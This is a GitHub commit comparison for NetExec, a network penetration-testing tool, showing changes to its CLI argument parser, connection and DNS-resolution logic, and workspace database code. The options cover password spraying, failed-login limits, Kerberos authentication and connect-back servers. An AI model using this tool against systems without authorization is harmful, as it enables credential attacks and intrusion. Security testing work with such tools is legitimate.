Compare commits

..
12 Commits
122 changed files with 2989 additions and 6429 deletions

No files matched your search

-18
View File
@@ -1,18 +0,0 @@
---
name: Feature request
about: Request a new feature or enhancement
title: ''
labels: ''
assignees: ''
---
**Please Describe The Problem To Be Solved**
(Replace This Text: Please present a concise description of the problem to be addressed by this feature request. Please be clear what parts of the problem are considered to be in-scope and out-of-scope.)
**(Optional): Suggest A Solution**
(Replace This Text: A concise description of your preferred solution. Things to address include:
* Details of the technical implementation
* Tradeoffs made in design decisions
* Caveats and considerations for the future
If there are multiple solutions, please present each one separately. Save comparisons for the very end.)
@@ -1,44 +0,0 @@
---
name: Pull request
about: Update code to fix a bug or add an enhancement/feature
title: ''
labels: ''
assignees: ''
---
## Description
Please include a summary of the change and which issue is fixed, or what the enhancement does.
Please also include relevant motivation and context.
List any dependencies that are required for this change.
## Type of change
Please delete options that are not relevant.
- [ ] Bug fix (non-breaking change which fixes an issue)
- [ ] New feature (non-breaking change which adds functionality)
- [ ] Breaking change (fix or feature that would cause existing functionality to not work as expected)
- [ ] This change requires a documentation update
- [ ] This requires a third party update (such as Impacket, Dploot, lsassy, etc)
## How Has This Been Tested?
Please describe the tests that you ran to verify your changes (e2e, single commands, etc)
Please also list any relevant details for your test configuration, such as your locally running machine Python version & OS, as well as the target(s) you tested against, including software versions
If you are using poetry, you can easily run tests via:
`poetry run python tests/e2e_tests.py -t $TARGET -u $USER -p $PASSWORD`
There are additional options like `--errors` to display ALL errors (some may not be failures), `--poetry` (output will include the poetry run prepended), `--line-num $START-$END $SINGLE` for only running a subset
## Screenshots (if appropriate):
Screenshots are always nice to have and can give a visual representation of the change.
If appropriate include before and after screenshot(s) to show which results are to be expected.
## Checklist:
- [ ] I have ran Ruff against my changes (via poetry: `poetry run python -m ruff check . --preview`, use `--fix` to automatically fix what it can)
- [ ] I have added or updated the tests/e2e_commands.txt file if necessary
- [ ] New and existing e2e tests pass locally with my changes
- [ ] My code follows the style guidelines of this project (should be covered by Ruff above)
- [ ] If reliant on third party dependencies, such as Impacket, dploot, lsassy, etc, I have linked the relevant PRs in those projects
- [ ] I have performed a self-review of my own code
- [ ] I have commented my code, particularly in hard-to-understand areas
- [ ] I have made corresponding changes to the documentation (PR here: https://github.com/Pennyw0rth/NetExec-Wiki)
+2 -2
View File
@@ -13,9 +13,9 @@ jobs:
python-version: ["3.11"]
#python-version: ["3.8", "3.9", "3.10", "3.11"] # for binary builds we only need one version
steps:
- uses: actions/checkout@v4
- uses: actions/checkout@v3
- name: NetExec set up python on ${{ matrix.os }}
uses: actions/setup-python@v5
uses: actions/setup-python@v4
with:
python-version: ${{ matrix.python-version }}
- name: Build Native Binary
+2 -2
View File
@@ -12,9 +12,9 @@ jobs:
os: [ubuntu-latest, macOS-latest, windows-latest]
python-version: ["3.8", "3.9", "3.10", "3.11"]
steps:
- uses: actions/checkout@v4
- uses: actions/checkout@v3
- name: NetExec set up python on ${{ matrix.os }}
uses: actions/setup-python@v5
uses: actions/setup-python@v4
with:
python-version: ${{ matrix.python-version }}
- name: Build Python ZipApp with Shiv
+2 -3
View File
@@ -3,7 +3,6 @@ name: Lint Python code with ruff
on:
push:
workflow_dispatch:
jobs:
lint:
@@ -12,12 +11,12 @@ jobs:
github.event_name == 'push' || github.event.pull_request.head.repo.full_name != github.repository
steps:
- uses: actions/checkout@v4
- uses: actions/checkout@v3
- name: Install poetry
run: |
pipx install poetry
- name: Set up Python
uses: actions/setup-python@v5
uses: actions/setup-python@v4
with:
python-version: 3.11
cache: poetry
+3 -6
View File
@@ -16,19 +16,16 @@ jobs:
os: [ubuntu-latest]
python-version: ["3.8", "3.9", "3.10", "3.11", "3.12"]
steps:
- uses: actions/checkout@v4
- uses: actions/checkout@v3
- name: Install poetry
run: |
pipx install poetry
- name: NetExec set up python ${{ matrix.python-version }} on ${{ matrix.os }}
uses: actions/setup-python@v5
uses: actions/setup-python@v4
with:
python-version: ${{ matrix.python-version }}
cache: poetry
cache-dependency-path: poetry.lock
- name: Install with pipx
run: |
pipx install . --python python${{ matrix.python-version }}
- name: Install poetry
run: |
pipx install poetry --python python${{ matrix.python-version }}
@@ -48,4 +45,4 @@ jobs:
poetry run netexec mssql 127.0.0.1
poetry run netexec ssh 127.0.0.1
poetry run netexec ftp 127.0.0.1
poetry run netexec smb 127.0.0.1 -M veeam
poetry run netexec smb 127.0.0.1 -M veeam
-1
View File
@@ -1,6 +1,5 @@
data/nxc.db
hash_spider_default.sqlite3
hash_spider_testing.sqlite3
*.bak
*.log
.venv
-5
View File
@@ -43,11 +43,6 @@ sudo apt install pipx git
pipx ensurepath
pipx install git+https://github.com/Pennyw0rth/NetExec
```
## Availability on Unix distributions
[![Packaging status](https://repology.org/badge/vertical-allrepos/netexec.svg)](https://repology.org/project/netexec/versions)
# Development
Development guidelines and recommendations in development
-5
View File
@@ -25,7 +25,6 @@ a = Analysis(
'impacket.dcerpc.v5.lsad',
'impacket.dcerpc.v5.gkdi',
'impacket.dcerpc.v5.rprn',
'impacket.dcerpc.v5.even',
'impacket.dpapi_ng',
'impacket.tds',
'impacket.version',
@@ -43,13 +42,11 @@ a = Analysis(
'nxc.helpers.bash',
'nxc.helpers.bloodhound',
'nxc.helpers.msada_guids',
'nxc.helpers.ntlm_parser',
'paramiko',
'pypsrp.client',
'pywerview.cli.helpers',
'pylnk3',
'pypykatz',
'pyNfsClient',
'masky',
'msldap',
'msldap.connection',
@@ -69,10 +66,8 @@ a = Analysis(
'dploot.triage.browser',
'dploot.triage.credentials',
'dploot.triage.masterkeys',
'dploot.triage.mobaxterm',
'dploot.triage.backupkey',
'dploot.triage.wifi',
'dploot.triage.sccm',
'dploot.lib.target',
'dploot.lib.smb',
'pyasn1_modules.rfc5652',
+40 -64
View File
@@ -9,7 +9,6 @@ import nxc
from nxc.paths import NXC_PATH
from nxc.loaders.protocolloader import ProtocolLoader
from nxc.helpers.logger import highlight
from nxc.helpers.args import DisplayDefaultsNotNone
from nxc.logger import nxc_logger, setup_debug_logging
import importlib.metadata
@@ -22,32 +21,10 @@ def gen_cli_args():
except ValueError:
VERSION = importlib.metadata.version("netexec")
COMMIT = ""
CODENAME = "NeedForSpeed"
CODENAME = "nxc4u"
nxc_logger.debug(f"NXC VERSION: {VERSION} - {CODENAME} - {COMMIT}")
generic_parser = argparse.ArgumentParser(add_help=False, formatter_class=DisplayDefaultsNotNone)
generic_group = generic_parser.add_argument_group("Generic", "Generic options for nxc across protocols")
generic_group.add_argument("--version", action="store_true", help="Display nxc version")
generic_group.add_argument("-t", "--threads", type=int, dest="threads", default=256, help="set how many concurrent threads to use")
generic_group.add_argument("--timeout", default=None, type=int, help="max timeout in seconds of each thread")
generic_group.add_argument("--jitter", metavar="INTERVAL", type=str, help="sets a random delay between each authentication")
output_parser = argparse.ArgumentParser(add_help=False, formatter_class=DisplayDefaultsNotNone)
output_group = output_parser.add_argument_group("Output", "Options to set verbosity levels and control output")
output_group.add_argument("--verbose", action="store_true", help="enable verbose output")
output_group.add_argument("--debug", action="store_true", help="enable debug level information")
output_group.add_argument("--no-progress", action="store_true", help="do not displaying progress bar during scan")
output_group.add_argument("--log", metavar="LOG", help="export result into a custom file")
dns_parser = argparse.ArgumentParser(add_help=False, formatter_class=DisplayDefaultsNotNone)
dns_group = dns_parser.add_argument_group("DNS")
dns_group.add_argument("-6", dest="force_ipv6", action="store_true", help="Enable force IPv6")
dns_group.add_argument("--dns-server", action="store", help="Specify DNS server (default: Use hosts file & System DNS)")
dns_group.add_argument("--dns-tcp", action="store_true", help="Use TCP instead of UDP for DNS queries")
dns_group.add_argument("--dns-timeout", action="store", type=int, default=3, help="DNS query timeout in seconds")
parser = argparse.ArgumentParser(
description=rf"""
parser = argparse.ArgumentParser(description=rf"""
. .
.| |. _ _ _ _____
|| || | \ | | ___ | |_ | ____| __ __ ___ ___
@@ -65,45 +42,48 @@ def gen_cli_args():
{highlight('Version', 'red')} : {highlight(VERSION)}
{highlight('Codename', 'red')}: {highlight(CODENAME)}
{highlight('Commit', 'red')} : {highlight(COMMIT)}
""",
formatter_class=RawTextHelpFormatter,
parents=[generic_parser, output_parser, dns_parser]
)
""", formatter_class=RawTextHelpFormatter)
parser.add_argument("-t", type=int, dest="threads", default=256, help="set how many concurrent threads to use (default: 256)")
parser.add_argument("--timeout", default=None, type=int, help="max timeout in seconds of each thread (default: None)")
parser.add_argument("--jitter", metavar="INTERVAL", type=str, help="sets a random delay between each connection (default: None)")
parser.add_argument("--no-progress", action="store_true", help="Not displaying progress bar during scan")
parser.add_argument("--verbose", action="store_true", help="enable verbose output")
parser.add_argument("--debug", action="store_true", help="enable debug level information")
parser.add_argument("--version", action="store_true", help="Display nxc version")
# we do module arg parsing here so we can reference the module_list attribute below
module_parser = argparse.ArgumentParser(add_help=False, formatter_class=DisplayDefaultsNotNone)
mgroup = module_parser.add_argument_group("Modules", "Options for nxc modules")
module_parser = argparse.ArgumentParser(add_help=False)
mgroup = module_parser.add_mutually_exclusive_group()
mgroup.add_argument("-M", "--module", choices=get_module_names(), action="append", metavar="MODULE", help="module to use")
mgroup.add_argument("-o", metavar="MODULE_OPTION", nargs="+", default=[], dest="module_options", help="module options")
mgroup.add_argument("-L", "--list-modules", action="store_true", help="list available modules")
mgroup.add_argument("--options", dest="show_module_options", action="store_true", help="display module options")
module_parser.add_argument("-o", metavar="MODULE_OPTION", nargs="+", default=[], dest="module_options", help="module options")
module_parser.add_argument("-L", "--list-modules", action="store_true", help="list available modules")
module_parser.add_argument("--options", dest="show_module_options", action="store_true", help="display module options")
module_parser.add_argument("--server", choices={"http", "https"}, default="https", help="use the selected server (default: https)")
module_parser.add_argument("--server-host", type=str, default="0.0.0.0", metavar="HOST", help="IP to bind the server to (default: 0.0.0.0)")
module_parser.add_argument("--server-port", metavar="PORT", type=int, help="start the server on the specified port")
module_parser.add_argument("--connectback-host", type=str, metavar="CHOST", help="IP for the remote system to connect back to (default: same as server-host)")
subparsers = parser.add_subparsers(title="Available Protocols", dest="protocol")
subparsers = parser.add_subparsers(title="protocols", dest="protocol", description="available protocols")
std_parser = argparse.ArgumentParser(add_help=False, parents=[generic_parser, output_parser, dns_parser], formatter_class=DisplayDefaultsNotNone)
std_parser.add_argument("target", nargs="+" if not (module_parser.parse_known_args()[0].list_modules or module_parser.parse_known_args()[0].show_module_options or generic_parser.parse_known_args()[0].version) else "*", type=str, help="the target IP(s), range(s), CIDR(s), hostname(s), FQDN(s), file(s) containing a list of targets, NMap XML or .Nessus file(s)")
credential_group = std_parser.add_argument_group("Authentication", "Options for authenticating")
credential_group.add_argument("-u", "--username", metavar="USERNAME", dest="username", nargs="+", default=[], help="username(s) or file(s) containing usernames")
credential_group.add_argument("-p", "--password", metavar="PASSWORD", dest="password", nargs="+", default=[], help="password(s) or file(s) containing passwords")
credential_group.add_argument("-id", metavar="CRED_ID", nargs="+", default=[], type=str, dest="cred_id", help="database credential ID(s) to use for authentication")
credential_group.add_argument("--ignore-pw-decoding", action="store_true", help="Ignore non UTF-8 characters when decoding the password file")
credential_group.add_argument("--no-bruteforce", action="store_true", help="No spray when using file for username and password (user1 => password1, user2 => password2)")
credential_group.add_argument("--continue-on-success", action="store_true", help="continues authentication attempts even after successes")
credential_group.add_argument("--gfail-limit", metavar="LIMIT", type=int, help="max number of global failed login attempts")
credential_group.add_argument("--ufail-limit", metavar="LIMIT", type=int, help="max number of failed login attempts per username")
credential_group.add_argument("--fail-limit", metavar="LIMIT", type=int, help="max number of failed login attempts per host")
std_parser = argparse.ArgumentParser(add_help=False)
std_parser.add_argument("target", nargs="+" if not (module_parser.parse_known_args()[0].list_modules or module_parser.parse_known_args()[0].show_module_options) else "*", type=str, help="the target IP(s), range(s), CIDR(s), hostname(s), FQDN(s), file(s) containing a list of targets, NMap XML or .Nessus file(s)")
std_parser.add_argument("-id", metavar="CRED_ID", nargs="+", default=[], type=str, dest="cred_id", help="database credential ID(s) to use for authentication")
std_parser.add_argument("-u", metavar="USERNAME", dest="username", nargs="+", default=[], help="username(s) or file(s) containing usernames")
std_parser.add_argument("-p", metavar="PASSWORD", dest="password", nargs="+", default=[], help="password(s) or file(s) containing passwords")
std_parser.add_argument("--ignore-pw-decoding", action="store_true", help="Ignore non UTF-8 characters when decoding the password file")
std_parser.add_argument("-k", "--kerberos", action="store_true", help="Use Kerberos authentication")
std_parser.add_argument("--no-bruteforce", action="store_true", help="No spray when using file for username and password (user1 => password1, user2 => password2")
std_parser.add_argument("--continue-on-success", action="store_true", help="continues authentication attempts even after successes")
std_parser.add_argument("--use-kcache", action="store_true", help="Use Kerberos authentication from ccache file (KRB5CCNAME)")
std_parser.add_argument("--log", metavar="LOG", help="Export result into a custom file")
std_parser.add_argument("--aesKey", metavar="AESKEY", nargs="+", help="AES key to use for Kerberos Authentication (128 or 256 bits)")
std_parser.add_argument("--kdcHost", metavar="KDCHOST", help="FQDN of the domain controller. If omitted it will use the domain part (FQDN) specified in the target parameter")
kerberos_group = std_parser.add_argument_group("Kerberos", "Options for Kerberos authentication")
kerberos_group.add_argument("-k", "--kerberos", action="store_true", help="Use Kerberos authentication")
kerberos_group.add_argument("--use-kcache", action="store_true", help="Use Kerberos authentication from ccache file (KRB5CCNAME)")
kerberos_group.add_argument("--aesKey", metavar="AESKEY", nargs="+", help="AES key to use for Kerberos Authentication (128 or 256 bits)")
kerberos_group.add_argument("--kdcHost", metavar="KDCHOST", help="FQDN of the domain controller. If omitted it will use the domain part (FQDN) specified in the target parameter")
server_group = std_parser.add_argument_group("Servers", "Options for nxc servers")
server_group.add_argument("--server", choices={"http", "https"}, default="https", help="use the selected server")
server_group.add_argument("--server-host", type=str, default="0.0.0.0", metavar="HOST", help="IP to bind the server to")
server_group.add_argument("--server-port", metavar="PORT", type=int, help="start the server on the specified port")
server_group.add_argument("--connectback-host", type=str, metavar="CHOST", help="IP for the remote system to connect back to")
fail_group = std_parser.add_mutually_exclusive_group()
fail_group.add_argument("--gfail-limit", metavar="LIMIT", type=int, help="max number of global failed login attempts")
fail_group.add_argument("--ufail-limit", metavar="LIMIT", type=int, help="max number of failed login attempts per username")
fail_group.add_argument("--fail-limit", metavar="LIMIT", type=int, help="max number of failed login attempts per host")
p_loader = ProtocolLoader()
protocols = p_loader.get_protocols()
@@ -111,7 +91,7 @@ def gen_cli_args():
try:
for protocol in protocols:
protocol_object = p_loader.load_protocol(protocols[protocol]["argspath"])
subparsers = protocol_object.proto_args(subparsers, [std_parser, module_parser])
subparsers = protocol_object.proto_args(subparsers, std_parser, module_parser)
except Exception as e:
nxc_logger.exception(f"Error loading proto_args from proto_args.py file in protocol folder: {protocol} - {e}")
@@ -126,10 +106,6 @@ def gen_cli_args():
print(f"{VERSION} - {CODENAME} - {COMMIT}")
sys.exit(1)
# Multiply output_tries by 10 to enable more fine granural control, see exec methods
if hasattr(args, "get_output_tries"):
args.get_output_tries = args.get_output_tries * 10
return args
+63 -149
View File
@@ -4,12 +4,10 @@ from threading import BoundedSemaphore
from functools import wraps
from time import sleep
from ipaddress import ip_address
from dns import resolver, rdatatype
from socket import AF_UNSPEC, SOCK_DGRAM, IPPROTO_IP, AI_CANONNAME, getaddrinfo
from nxc.config import pwned_label
from nxc.helpers.logger import highlight
from nxc.loaders.moduleloader import ModuleLoader
from nxc.logger import nxc_logger, NXCAdapter
from nxc.context import Context
from nxc.protocols.ldap.laps import laps_search
@@ -23,77 +21,35 @@ global_failed_logins = 0
user_failed_logins = {}
def get_host_addr_info(target, force_ipv6, dns_server, dns_tcp, dns_timeout):
result = {
"host": "",
"is_ipv6": False,
"is_link_local_ipv6": False
}
def gethost_addrinfo(hostname):
is_ipv6 = False
is_link_local_ipv6 = False
address_info = {"AF_INET6": "", "AF_INET": ""}
try:
if ip_address(target).version == 4:
address_info["AF_INET"] = target
else:
address_info["AF_INET6"] = target
except Exception:
# If the target is not an IP address, we need to resolve it
if not (dns_server or dns_tcp):
for res in getaddrinfo(target, None, AF_UNSPEC, SOCK_DGRAM, IPPROTO_IP, AI_CANONNAME):
af, _, _, canonname, sa = res
address_info[af.name] = sa[0]
if address_info["AF_INET6"] and ip_address(address_info["AF_INET6"]).is_link_local:
address_info["AF_INET6"] = canonname
result["is_link_local_ipv6"] = True
else:
dnsresolver = resolver.Resolver()
dnsresolver.timeout = dns_timeout
dnsresolver.lifetime = dns_timeout
if dns_server:
dnsresolver.nameservers = [dns_server]
try:
answers_ipv4 = dnsresolver.resolve(target, rdatatype.A, raise_on_no_answer=False, tcp=dns_tcp)
address_info["AF_INET"] = answers_ipv4[0].address
except Exception:
pass
try:
answers_ipv6 = dnsresolver.resolve(target, rdatatype.AAAA, raise_on_no_answer=False, tcp=dns_tcp)
address_info["AF_INET6"] = answers_ipv6[0].address
if address_info["AF_INET6"] and ip_address(address_info["AF_INET6"]).is_link_local:
result["is_link_local_ipv6"] = True
except Exception:
pass
if not (address_info["AF_INET"] or address_info["AF_INET6"]):
raise Exception(f"The DNS query name does not exist: {target}")
for res in getaddrinfo(hostname, None, AF_UNSPEC, SOCK_DGRAM, IPPROTO_IP, AI_CANONNAME):
af, _, _, canonname, sa = res
address_info[af.name] = sa[0]
# IPv4 preferred
if address_info["AF_INET"] and not force_ipv6:
result["host"] = address_info["AF_INET"]
if address_info["AF_INET"]:
host = address_info["AF_INET"]
else:
result["is_ipv6"] = True
result["host"] = address_info["AF_INET6"]
is_ipv6 = True
host, is_link_local_ipv6 = (canonname, True) if ip_address(address_info["AF_INET6"]).is_link_local else (address_info["AF_INET6"], False)
return result
return host, is_ipv6, is_link_local_ipv6
def requires_admin(func):
def _decorator(self, *args, **kwargs):
if self.admin_privs is False:
if hasattr(self.args, "exec_method") and self.args.exec_method == "mmcexec":
return func(self, *args, **kwargs)
return None
return func(self, *args, **kwargs)
return wraps(func)(_decorator)
def dcom_FirewallChecker(iInterface, remoteHost, timeout):
def dcom_FirewallChecker(iInterface, timeout):
stringBindings = iInterface.get_cinstance().get_string_bindings()
for strBinding in stringBindings:
if strBinding["wTowerId"] == 7:
@@ -113,7 +69,6 @@ def dcom_FirewallChecker(iInterface, remoteHost, timeout):
return True, None
try:
rpctransport = transport.DCERPCTransportFactory(stringBinding)
rpctransport.setRemoteHost(remoteHost)
rpctransport.set_connect_timeout(timeout)
rpctransport.connect()
rpctransport.disconnect()
@@ -125,71 +80,57 @@ def dcom_FirewallChecker(iInterface, remoteHost, timeout):
class connection:
def __init__(self, args, db, target):
def __init__(self, args, db, host):
self.domain = None
self.args = args
self.db = db
self.logger = nxc_logger
self.hostname = host
self.port = self.args.port
self.conn = None
# Authentication info
self.admin_privs = False
self.password = ""
self.username = ""
self.kerberos = bool(self.args.kerberos or self.args.use_kcache or self.args.aesKey or (hasattr(self.args, "delegate") and self.args.delegate))
self.kerberos = bool(self.args.kerberos or self.args.use_kcache or self.args.aesKey)
self.aesKey = None if not self.args.aesKey else self.args.aesKey[0]
self.kdcHost = None if not self.args.kdcHost else self.args.kdcHost
self.use_kcache = None if not self.args.use_kcache else self.args.use_kcache
self.admin_privs = False
self.failed_logins = 0
# Network info
self.domain = None
self.host = None # IP address of the target. If kerberos this is the hostname
self.hostname = target # Target info supplied by the user, may be an IP address or a hostname
self.remoteName = target # hostname + domain, defaults to target if domain could not be resolved/not specified
self.kdcHost = self.args.kdcHost
self.port = self.args.port
self.local_ip = None
self.dns_server = self.args.dns_server
self.logger = nxc_logger
# DNS resolution
dns_result = self.resolver(target)
if dns_result:
self.host, self.is_ipv6, self.is_link_local_ipv6 = dns_result["host"], dns_result["is_ipv6"], dns_result["is_link_local_ipv6"]
else:
try:
self.host, self.is_ipv6, self.is_link_local_ipv6 = gethost_addrinfo(self.hostname)
if self.args.kerberos:
self.host = self.hostname
self.logger.info(f"Socket info: host={self.host}, hostname={self.hostname}, kerberos={self.kerberos}, ipv6={self.is_ipv6}, link-local ipv6={self.is_link_local_ipv6}")
except Exception as e:
self.logger.info(f"Error resolving hostname {self.hostname}: {e}")
return
if self.kerberos:
self.host = self.hostname
if args.jitter:
jitter = args.jitter
if "-" in jitter:
start, end = jitter.split("-")
jitter = (int(start), int(end))
else:
jitter = (0, int(jitter))
self.logger.info(f"Socket info: host={self.host}, hostname={self.hostname}, kerberos={self.kerberos}, ipv6={self.is_ipv6}, link-local ipv6={self.is_link_local_ipv6}")
value = random.choice(range(jitter[0], jitter[1]))
self.logger.debug(f"Doin' the jitterbug for {value} second(s)")
sleep(value)
try:
self.proto_flow()
except Exception as e:
if "ERROR_DEPENDENT_SERVICES_RUNNING" in str(e):
self.logger.error(f"Exception while calling proto_flow() on target {target}: {e}")
# Catching impacket SMB specific exceptions, which should not be imported due to performance reasons
elif e.__class__.__name__ in ["NetBIOSTimeout", "NetBIOSError"]:
self.logger.error(f"{e.__class__.__name__} on target {target}: {e}")
self.logger.error(f"Exception while calling proto_flow() on target {self.host}: {e}")
else:
self.logger.exception(f"Exception while calling proto_flow() on target {target}: {e}")
self.logger.exception(f"Exception while calling proto_flow() on target {self.host}: {e}")
finally:
self.logger.debug(f"Closing connection to: {target}")
self.logger.debug(f"Closing connection to: {host}")
with contextlib.suppress(Exception):
self.conn.close()
def resolver(self, target):
try:
return get_host_addr_info(
target=target,
force_ipv6=self.args.force_ipv6,
dns_server=self.args.dns_server,
dns_tcp=self.args.dns_tcp,
dns_timeout=self.args.dns_timeout
)
except Exception as e:
self.logger.info(f"Error resolving hostname {target}: {e}")
return None
@staticmethod
def proto_args(std_parser, module_parser):
return
@@ -206,16 +147,22 @@ class connection:
def create_conn_obj(self):
return
def disconnect(self):
return
def check_if_admin(self):
return
def kerberos_login(self, domain, username, password="", ntlm_hash="", aesKey="", kdcHost="", useCache=False):
def kerberos_login(
self,
domain,
username,
password="",
ntlm_hash="",
aesKey="",
kdcHost="",
useCache=False,
):
return
def plaintext_login(self, username, password):
def plaintext_login(self, domain, username, password):
return
def hash_login(self, domain, username, ntlm_hash):
@@ -231,13 +178,11 @@ class connection:
self.enum_host_info()
if self.print_host_info() and (self.login() or (self.username == "" and self.password == "")):
if hasattr(self.args, "module") and self.args.module:
self.load_modules()
self.logger.debug("Calling modules")
self.call_modules()
else:
self.logger.debug("Calling command arguments")
self.call_cmd_args()
self.disconnect()
def call_cmd_args(self):
"""Calls all the methods specified by the command line arguments
@@ -266,7 +211,7 @@ class connection:
It iterates over the modules specified in the command line arguments.
For each module, it loads the module and creates a context object, then calls functions based on the module's attributes.
"""
for module in self.modules:
for module in self.module:
self.logger.debug(f"Loading module {module.name} - {module}")
module_logger = NXCAdapter(
extra={
@@ -422,22 +367,12 @@ class connection:
for ntlm_hash in self.args.hash:
if isfile(ntlm_hash):
with open(ntlm_hash) as ntlm_hash_file:
for i, line in enumerate(ntlm_hash_file):
line = line.strip()
if len(line) != 32 and len(line) != 65:
self.logger.fail(f"Invalid NTLM hash length on line {(i + 1)} (len {len(line)}): {line}")
continue
else:
secret.append(line)
cred_type.append("hash")
for line in ntlm_hash_file:
secret.append(line.strip())
cred_type.append("hash")
else:
if len(ntlm_hash) != 32 and len(ntlm_hash) != 65:
self.logger.fail(f"Invalid NTLM hash length {len(ntlm_hash)}, authentication not sent")
exit(1)
else:
secret.append(ntlm_hash)
cred_type.append("hash")
self.logger.debug(secret)
secret.append(ntlm_hash)
cred_type.append("hash")
# Parse AES keys
if self.args.aesKey:
@@ -460,9 +395,7 @@ class connection:
return domain, username, owned, secret, cred_type, [None] * len(secret)
def try_credentials(self, domain, username, owned, secret, cred_type, data=None):
"""
Try to login using the specified credentials and protocol.
With --jitter an authentication throttle can be applied.
"""Try to login using the specified credentials and protocol.
Possible login methods are:
- plaintext (/kerberos)
@@ -473,21 +406,11 @@ class connection:
return False
if self.args.continue_on_success and owned:
return False
if self.args.jitter:
jitter = self.args.jitter
if "-" in jitter:
start, end = jitter.split("-")
jitter = (int(start), int(end))
else:
jitter = (0, int(jitter))
value = jitter[0] if jitter[0] == jitter[1] else random.choice(range(jitter[0], jitter[1]))
self.logger.debug(f"Throttle authentications: sleeping {value} second(s)")
sleep(value)
if hasattr(self.args, "delegate") and self.args.delegate:
self.args.kerberos = True
with sem:
if cred_type == "plaintext":
if self.kerberos:
if self.args.kerberos:
self.logger.debug("Trying to authenticate using Kerberos")
return self.kerberos_login(domain, username, secret, "", "", self.kdcHost, False)
elif hasattr(self.args, "domain"): # Some protocols don't use domain for login
@@ -500,7 +423,7 @@ class connection:
self.logger.debug("Trying to authenticate using plaintext")
return self.plaintext_login(username, secret)
elif cred_type == "hash":
if self.kerberos:
if self.args.kerberos:
return self.kerberos_login(domain, username, "", secret, "", self.kdcHost, False)
return self.hash_login(domain, username, secret)
elif cred_type == "aesKey":
@@ -549,7 +472,7 @@ class connection:
if hasattr(self.args, "laps") and self.args.laps:
self.logger.debug("Trying to authenticate using LAPS")
username[0], secret[0], domain[0] = laps_search(self, username, secret, cred_type, domain, self.dns_server)
username[0], secret[0], domain[0], ntlm_hash = laps_search(self, username, secret, cred_type, domain)
cred_type = ["plaintext"]
if not (username[0] or secret[0] or domain[0]):
return False
@@ -573,12 +496,3 @@ class connection:
def mark_pwned(self):
return highlight(f"({pwned_label})" if self.admin_privs else "")
def load_modules(self):
self.logger.info(f"Loading modules for target: {self.host}")
loader = ModuleLoader(self.args, self.db, self.logger)
self.modules = []
for module_path in self.module_paths:
module = loader.init_module(module_path)
self.modules.append(module)
+23 -73
View File
@@ -1,24 +1,18 @@
import sys
import configparser
import shutil
import sys
from sqlalchemy import create_engine
from sqlite3 import connect
from os import mkdir
from os.path import exists
from os.path import join as path_join
from pathlib import Path
from sqlite3 import connect
from threading import Lock
from sqlalchemy import create_engine, MetaData
from sqlalchemy.exc import IllegalStateChangeError
from sqlalchemy.orm import sessionmaker, scoped_session
from nxc.loaders.protocolloader import ProtocolLoader
from nxc.logger import nxc_logger
from nxc.paths import WORKSPACE_DIR
def create_db_engine(db_path):
return create_engine(f"sqlite:///{db_path}", isolation_level="AUTOCOMMIT", future=True)
return create_engine(f"sqlite:///{db_path}", isolation_level="AUTOCOMMIT", future=True, connect_args={"check_same_thread": False})
def open_config(config_path):
@@ -51,8 +45,24 @@ def write_configfile(config, config_path):
config.write(configfile)
def init_protocol_dbs(workspace_name, p_loader=None):
"""Check for each protocol if the database exists, if not create it."""
def create_workspace(workspace_name, p_loader=None):
"""
Create a new workspace with the given name.
Args:
----
workspace_name (str): The name of the workspace.
Returns:
-------
None
"""
if exists(path_join(WORKSPACE_DIR, workspace_name)):
print(f"[-] Workspace {workspace_name} already exists")
else:
print(f"[*] Creating {workspace_name} workspace")
mkdir(path_join(WORKSPACE_DIR, workspace_name))
if p_loader is None:
p_loader = ProtocolLoader()
protocols = p_loader.get_protocols()
@@ -77,27 +87,6 @@ def init_protocol_dbs(workspace_name, p_loader=None):
conn.close()
def create_workspace(workspace_name, p_loader=None):
"""
Create a new workspace with the given name.
Args:
----
workspace_name (str): The name of the workspace.
Returns:
-------
None
"""
if exists(path_join(WORKSPACE_DIR, workspace_name)):
print(f"[-] Workspace {workspace_name} already exists")
else:
print(f"[*] Creating {workspace_name} workspace")
mkdir(path_join(WORKSPACE_DIR, workspace_name))
init_protocol_dbs(workspace_name, p_loader)
def delete_workspace(workspace_name):
shutil.rmtree(path_join(WORKSPACE_DIR, workspace_name))
print(f"[*] Workspace {workspace_name} deleted")
@@ -105,43 +94,4 @@ def delete_workspace(workspace_name):
def initialize_db():
if not exists(path_join(WORKSPACE_DIR, "default")):
create_workspace("default")
# Even if the default workspace exists, we still need to check if every protocol has a database (in case of a new protocol)
init_protocol_dbs("default")
class BaseDB:
def __init__(self, db_engine):
self.db_engine = db_engine
self.db_path = self.db_engine.url.database
self.protocol = Path(self.db_path).stem.upper()
self.metadata = MetaData()
self.reflect_tables()
session_factory = sessionmaker(bind=self.db_engine, expire_on_commit=True)
session = scoped_session(session_factory)
self.sess = session()
self.lock = Lock()
def reflect_tables(self):
raise NotImplementedError("Reflect tables not implemented")
def shutdown_db(self):
try:
self.sess.close()
# due to the async nature of nxc, sometimes session state is a bit messy and this will throw:
# Method 'close()' can't be called here; method '_connection_for_bind()' is already in progress and
# this would cause an unexpected state change to <SessionTransactionState.CLOSED: 5>
except IllegalStateChangeError as e:
nxc_logger.debug(f"Error while closing session db object: {e}")
def clear_database(self):
for table in self.metadata.sorted_tables:
self.db_execute(table.delete())
def db_execute(self, *args):
self.lock.acquire()
res = self.sess.execute(*args)
self.lock.release()
return res
create_workspace("default")
-10
View File
@@ -1,10 +0,0 @@
from argparse import ArgumentDefaultsHelpFormatter, SUPPRESS, OPTIONAL, ZERO_OR_MORE
class DisplayDefaultsNotNone(ArgumentDefaultsHelpFormatter):
def _get_help_string(self, action):
help_string = action.help
if "%(default)" not in action.help and action.default is not SUPPRESS:
defaulting_nargs = [OPTIONAL, ZERO_OR_MORE]
if (action.option_strings or action.nargs in defaulting_nargs) and action.default: # Only add default info if it's not None
help_string += " (default: %(default)s)" # NORUFF
return help_string
+2
View File
@@ -52,8 +52,10 @@ def add_user_bh(user, domain, logger, config):
_add_with_domain(user_info, domain, tx, logger)
except AuthError:
logger.fail(f"Provided Neo4J credentials ({config.get('BloodHound', 'bh_user')}:{config.get('BloodHound', 'bh_pass')}) are not valid.")
exit()
except ServiceUnavailable:
logger.fail(f"Neo4J does not seem to be available on {uri}.")
exit()
except Exception as e:
logger.fail(f"Unexpected error with Neo4J: {e}")
finally:
+53 -45
View File
@@ -12,20 +12,6 @@ import random
obfuscate_ps_scripts = False
def replace_singles(s):
"""Replaces single quotes with a double quote
We do this because quoting is very important in PowerShell, and we are doing multiple layers:
Python, MSSQL, and PowerShell. We want to make sure that the command is properly quoted at each layer.
Args:
----
s (str): The string to replace single quotes in.
